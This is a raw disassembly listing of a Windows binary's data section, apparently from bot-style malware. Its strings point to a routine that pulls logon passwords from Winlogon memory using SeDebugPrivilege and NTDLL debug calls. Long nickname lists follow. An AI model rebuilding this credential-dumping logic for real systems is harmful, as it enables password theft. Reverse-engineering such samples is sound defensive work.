unk_437964	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417066o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_437990	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_41705Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 4
unk_4379C8	db  2Dh	; -		; DATA XREF: sub_416F1A+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_437A24	dd offset byte_530055	; DATA XREF: sub_416F1A+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004D
		dd offset loc_4E0047+2
		dd 0
off_437A3C	dd offset byte_530055	; DATA XREF: sub_416F1A+CEo
		dd offset byte_520045
		dd offset loc_41004D+1
		dd offset byte_45004D
		align 10h
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_416F1A+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o
					; sub_416F1A+161o ...
		align 10h
unk_437B00	db  2Dh	; -		; DATA XREF: sub_416F1A+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 10h
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_4170EC+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_4170EC+123o
		align 10h
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_4170EC+AFo
		align 4
dword_437B4C	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417552+70o
					; sub_4175E9+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_437B9C	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4175E9+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_437BF0	dd offset aQ		; DATA XREF: sub_417ADD+5Cr
					; "q"
; ---------------------------------------------------------------------------
		mov	al, ds:38004387h
		lodsb
		inc	edx
		add	[ebx+eax*8], al
		inc	edx
		add	[eax-3Eh], bh
		inc	edx
		add	[edi+eax*4-5587FFBDh], bl
		inc	edx
		add	ah, dl
		retn	42h
; ---------------------------------------------------------------------------
		push	esp
		stosb
		inc	edx
		add	ah, dl
		lodsb
		inc	edx
		add	ah, bl
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aD		; "d"
		dd offset dword_438798
		dd offset dword_438794
		dd offset dword_438790
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_43878C
		dd offset dword_438788
		dd offset dword_438784
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset dword_438780
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_43877C
		dd offset dword_438778
		dd offset dword_438774
		dd offset dword_438770
		dd offset dword_43876C
		dd offset word_438768
		dd offset dword_438764
		dd offset aI_0		; "I"
		dd offset dword_438760
		dd offset dword_43875C
		dd offset aA_0		; "A"
		dd offset dword_438758
		dd offset dword_438754
		dd offset dword_438750
		dd offset dword_43874C
		dd offset dword_438748
		dd offset dword_438744
		dd offset dword_438740
		dd offset dword_43873C
		dd offset dword_438738
		dd offset dword_438734
		dd offset dword_438730
		dd offset dword_43872C
		dd offset dword_438728
		dd offset word_438724
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary		; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_4384BC
		dd offset off_4384B8
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_438324
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_437EF0	dd offset aSex_0	; DATA XREF: sub_417ADD+41r
					; sub_417ADD+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex		; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick		; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset dword_438780
		dd offset aC		; "c"
		dd offset aD		; "d"
		db  38h	; 8
		db 0ACh	; ¬
		db  42h	; B
		db    0
		db  98h	; ˜
		db  87h	; ‡
		db  43h	; C
		db    0
		db  94h	; ”
		db  87h	; ‡
		db  43h	; C
		db    0
		db  90h	; 
		db  87h	; ‡
		db  43h	; C
		db    0
		db 0D4h	; Ô
		db 0C2h	; Â
		db  42h	; B
		db    0
; ---------------------------------------------------------------------------
		cld
		mov	ah, 42h
		add	[ebx+esi*4+42h], al
		add	[eax-39h], bl
		inc	edx
		add	[edi+eax*4-533BFFBDh], cl
		inc	edx
		add	[eax-4Dh], cl
		inc	edx
		add	al, bh
		mov	dl, 42h
		add	[edx+ebp*4+42h], dl
		add	al, ch
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
; ---------------------------------------------------------------------------
		mov	al, ds:84004387h
		xchg	eax, [ebx+0]
		pushf
		xchg	eax, [ebx+0]
		mov	[edi-7E83FFBDh], al
		inc	ebx
		add	[eax-7Fh], bh
		inc	ebx
		add	[ecx+eax*4+43h], dh
		add	[eax-7Fh], dh
		inc	ebx
		add	[ecx+eax*4+43h], ch
		add	[eax-7Fh], ch
		inc	ebx
		add	[ecx+eax*4+43h], ah
		add	[ecx+eax*4+43h], bl
		add	[ecx+eax*4+43h], dl
		add	[ecx+eax*4+43h], cl
		add	[ecx+eax*4+43h], al
		add	[eax-6BFFBC79h], cl
		xchg	eax, [ebx+0]
		fadd	st(2), st
		inc	edx
		add	al, ch
		retn	42h
; ---------------------------------------------------------------------------
		dd offset off_438140
		dd offset aBbl		; "|bbl"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset a___0		; "_|_"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_438750
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_438780
		dd offset dword_43D128
		dd offset aSleeping	; "Sleeping"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset aFuck		; "Fuck"
		dd offset aFree		; "Free"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_438734
		dd offset dword_43D128
		dd offset off_438100
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_4380C0
		dd offset dword_4380BC
		dd offset dword_4380B4
		dd offset dword_4380A8
		dd offset dword_4380A0
		dd offset dword_438098
		dd offset dword_438090
		dd offset dword_43808C
		dd offset dword_438088
dword_438088	dd 7536h		; DATA XREF: ___:00438084o
dword_43808C	dd 7535h		; DATA XREF: ___:00438080o
dword_438090	dd 7C75347Ch, 0		; DATA XREF: ___:0043807Co
dword_438098	dd 6F79347Bh, 7D75h	; DATA XREF: ___:00438078o
dword_4380A0	dd 7375347Ch, 7Ch	; DATA XREF: ___:00438074o
dword_4380A8	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438070o
dword_4380B4	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:0043806Co
dword_4380BC	dd 6C6F6Ch		; DATA XREF: ___:00438068o
dword_4380C0	dd 746F74h		; DATA XREF: ___:00438064o
aMofo		db 'mofo',0             ; DATA XREF: ___:00438060o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:0043805Co
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:00438058o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:00438054o
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:00438050o
aShit		db 'shit',0             ; DATA XREF: ___:0043804Co
		align 10h
aGurl		db 'gurl',0             ; DATA XREF: ___:00438048o
		align 4
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:00438044o
		align 10h
off_438100	dd offset word_594F42	; DATA XREF: ___:00438040o
aFree		db 'Free',0             ; DATA XREF: ___:0043802Co
		align 4
aFuck		db 'Fuck',0             ; DATA XREF: ___:00438028o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:0043801Co
		align 10h
aF_2		db '^^^f^',0            ; DATA XREF: ___:00438010o
		align 4
aSad		db 'Sad',0              ; DATA XREF: ___:0043800Co
aLuvu		db 'LUVU',0             ; DATA XREF: ___:00438008o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:00437FECo
aBbl		db '|bbl',0             ; DATA XREF: ___:00437FE0o
		align 10h
off_438140	dd offset loc_425242	; DATA XREF: ___:00437FDCo
aMuckc		db 'muckc',0
		align 4
aTruck		db 'truck',0
		align 4
aTrimy		db 'trimy',0
		align 4
aLuvy		db 'luvy',0
		align 4
aUi		db 'ui',0
		align 4
aSdf		db 'sdf',0
aRt		db 'rt',0
		align 10h
aGf		db 'gf',0
		align 4
aTy		db 'ty',0
		align 4
aRg		db 'rg',0
		align 4
aHappy		db 'happy',0
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00437F80o
		align 4
aQ8A		db '|q8|a',0            ; DATA XREF: ___:00437F38o
		align 10h
aQ8		db 'Q8',0               ; DATA XREF: ___:00437F34o
		align 4
aSick		db 'sick}}',0           ; DATA XREF: ___:00437F30o
		align 4
aWiked		db '|wiked|',0          ; DATA XREF: ___:00437F2Co
aLuvuF		db '||luvu-f|',0        ; DATA XREF: ___:00437F28o
		align 10h
aGens		db '{gens|',0           ; DATA XREF: ___:00437F24o
		align 4
aSex		db '{sex}',0            ; DATA XREF: ___:00437F20o
		align 10h
aHub		db '{hub}',0            ; DATA XREF: ___:00437F1Co
		align 4
aLuck		db '|luck|',0           ; DATA XREF: ___:00437F18o
		align 10h
aSuck		db '|suck|',0           ; DATA XREF: ___:00437F14o
		align 4
aTot		db '-|tot|',0           ; DATA XREF: ___:00437F10o
		align 10h
aWoh		db '|woh|',0            ; DATA XREF: ___:00437F0Co
		align 4
aTambe		db '|tambe|',0          ; DATA XREF: ___:00437F08o
aLag		db 'lag',0              ; DATA XREF: ___:00437F04o
aBad		db 'bad',0              ; DATA XREF: ___:00437F00o
aTree		db 'tree',0             ; DATA XREF: ___:00437EFCo
		align 10h
aZex		db 'zex',0              ; DATA XREF: ___:00437EF8o
aLez		db 'lez',0              ; DATA XREF: ___:00437EF4o
aSex_0		db 'sex',0              ; DATA XREF: ___:off_437EF0o
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:00437EECo
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:00437EE8o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:00437EE4o
		align 4
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:00437EE0o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:00437EDCo
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:00437ED8o
		align 10h
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:00437ED4o
		align 4
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:00437ED0o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:00437ECCo
		align 4
aCool30m	db 'cool30m',0          ; DATA XREF: ___:00437EC8o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:00437EC4o
		align 10h
aPassenger	db 'passenger',0        ; DATA XREF: ___:00437EC0o
		align 4
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:00437EBCo
		align 4
aUla		db 'ula',0              ; DATA XREF: ___:00437EB8o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:00437EB4o
aAkden		db 'akden',0            ; DATA XREF: ___:00437EB0o
		align 4
aKoray		db 'KORAY',0            ; DATA XREF: ___:00437EACo
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:00437EA8o
		align 4
aFirtina	db 'firtina',0          ; DATA XREF: ___:00437EA4o
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00437EA0o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:00437E9Co
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00437E98o
		align 10h
aAdem28		db 'Adem28',0           ; DATA XREF: ___:00437E94o
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: ___:00437E90o
		align 10h
aErkan		db 'erkan',0            ; DATA XREF: ___:00437E8Co
		align 4
aDevre		db 'devre',0            ; DATA XREF: ___:00437E88o
		align 10h
aYabanc		db 'yabanc',0           ; DATA XREF: ___:00437E84o
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: ___:00437E80o
		align 10h
aA44m		db 'a44m',0             ; DATA XREF: ___:00437E7Co
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:00437E78o
		align 4
off_438324	dd offset byte_4B5245	; DATA XREF: ___:00437E74o
aSevda		db 'sevda',0            ; DATA XREF: ___:00437E70o
		align 10h
aKotan		db 'kotan',0            ; DATA XREF: ___:00437E6Co
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:00437E68o
		align 10h
aAchilles	db 'Achilles',0         ; DATA XREF: ___:00437E64o
		align 4
aKapk		db 'kapk',0             ; DATA XREF: ___:00437E60o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:00437E5Co
		align 10h
aHayran		db 'hayran',0           ; DATA XREF: ___:00437E58o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:00437E54o
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:00437E50o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:00437E4Co
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:00437E48o
		align 10h
aUmut		db 'umut-',0            ; DATA XREF: ___:00437E44o
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:00437E40o
		align 10h
aKumul		db 'kumul',0            ; DATA XREF: ___:00437E3Co
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:00437E38o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:00437E34o
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:00437E30o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:00437E2Co
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:00437E28o
		align 4
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:00437E24o
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:00437E20o
aHoly		db 'holy',0             ; DATA XREF: ___:00437E1Co
		align 4
aFlord		db 'FLoRD',0            ; DATA XREF: ___:00437E18o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:00437E14o
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:00437E10o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:00437E0Co
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:00437E08o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:00437E04o
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:00437E00o
		align 10h
aHakan3		db 'hakan3',0           ; DATA XREF: ___:00437DFCo
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:00437DF8o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:00437DF4o
aArda		db 'arda',0             ; DATA XREF: ___:00437DF0o
		align 4
aDevran		db 'devran',0           ; DATA XREF: ___:00437DECo
		align 10h
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:00437DE8o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:00437DE4o
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:00437DE0o
		align 10h
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:00437DDCo
		align 4
aBogac		db 'bogac',0            ; DATA XREF: ___:00437DD8o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:00437DD4o
		align 10h
aAnkh		db 'ankh',0             ; DATA XREF: ___:00437DD0o
		align 4
off_4384B8	dd offset byte_457441	; DATA XREF: ___:00437DCCo
dword_4384BC	dd 414C5941h, 2Dh	; DATA XREF: ___:00437DC8o
aAlbina		db 'albina',0           ; DATA XREF: ___:00437DC4o
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:00437DC0o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: ___:00437DBCo
		align 10h
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:00437DB8o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:00437DB4o
		align 10h
aAhmet		db 'ahmet',0            ; DATA XREF: ___:00437DB0o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: ___:00437DACo
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:00437DA8o
		align 10h
aRetg		db 'RETG',0             ; DATA XREF: ___:00437DA4o
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00437DA0o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:00437D9Co
aAslii		db 'aslii',0            ; DATA XREF: ___:00437D98o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:00437D94o
aHaticem	db 'haticem',0          ; DATA XREF: ___:00437D90o
aArzu		db 'ARZU',0             ; DATA XREF: ___:00437D8Co
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00437D88o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:00437D84o
		align 10h
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:00437D80o
		align 4
aTekir		db 'tekir',0            ; DATA XREF: ___:00437D7Co
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:00437D78o
		align 10h
aTrend3		db 'trend3',0           ; DATA XREF: ___:00437D74o
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: ___:00437D70o
		align 10h
aAkin		db 'AKIN',0             ; DATA XREF: ___:00437D6Co
		align 4
aMary		db 'MARY',0             ; DATA XREF: ___:00437D68o
		align 10h
aJericho	db 'JERICHO',0          ; DATA XREF: ___:00437D64o
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:00437D60o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:00437D5Co
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: ___:00437D58o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:00437D54o
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: ___:00437D50o
		align 4
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:00437D4Co
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: ___:00437D48o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:00437D44o
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:00437D40o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:00437D3Co
		align 10h
aKencing	db 'Kencing',0          ; DATA XREF: ___:00437D38o
aReshma		db 'reshma',0           ; DATA XREF: ___:00437D34o
		align 10h
aCamel		db 'CAMEL',0            ; DATA XREF: ___:00437D30o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: ___:00437D2Co
		align 10h
aImra		db 'imra',0             ; DATA XREF: ___:00437D28o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:00437D24o
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:00437D20o
		align 10h
aKermit		db 'kermit',0           ; DATA XREF: ___:00437D1Co
		align 4
aManee		db 'manee',0            ; DATA XREF: ___:00437D18o
		align 10h
aTroller	db 'troller',0          ; DATA XREF: ___:00437D14o
aLuisa		db 'Luisa',0            ; DATA XREF: ___:00437D10o
		align 10h
aNastysha	db 'nastysha',0         ; DATA XREF: ___:00437D0Co
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: ___:00437D08o
		align 4
aJanno		db 'janno',0            ; DATA XREF: ___:00437D04o
		align 4
aBunty		db 'bunty',0            ; DATA XREF: ___:00437D00o
		align 4
aHeval		db 'heval',0            ; DATA XREF: ___:00437CFCo
		align 4
aCme		db 'cme',0              ; DATA XREF: ___:00437CF8o
aMarcy		db 'marcy',0            ; DATA XREF: ___:00437CF4o
		align 4
aTalika		db 'talika',0           ; DATA XREF: ___:00437CF0o
		align 10h
aShez		db 'Shez',0             ; DATA XREF: ___:00437CECo
		align 4
aKen		db 'ken',0              ; DATA XREF: ___:00437CE8o
aFlexster	db 'flexster',0         ; DATA XREF: ___:00437CE4o
		align 4
aKoko		db 'koko',0             ; DATA XREF: ___:00437CE0o
		align 10h
aMale		db 'male',0             ; DATA XREF: ___:00437CDCo
		align 4
aSwin		db 'swin',0             ; DATA XREF: ___:00437CD8o
		align 10h
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:00437CD4o
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:00437CD0o
		align 10h
aEmilya		db 'emilya',0           ; DATA XREF: ___:00437CCCo
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:00437CC8o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:00437CC4o
aFarooq		db 'farooq',0           ; DATA XREF: ___:00437CC0o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:00437CBCo
		align 10h
aM_0:					; DATA XREF: ___:00437CB8o
					; ___:00438004o
		unicode	0, <M>,0
word_438724	dw 4Eh			; DATA XREF: sub_419E79+38r
					; ___:00437CB4o
		align 4
dword_438728	dd 42h			; DATA XREF: ___:00437CB0o
dword_43872C	dd 56h			; DATA XREF: ___:00437CACo
dword_438730	dd 43h			; DATA XREF: ___:00437CA8o
dword_438734	dd 58h			; DATA XREF: ___:00437CA4o
					; ___:00438038o
dword_438738	dd 5Ah			; DATA XREF: ___:00437CA0o
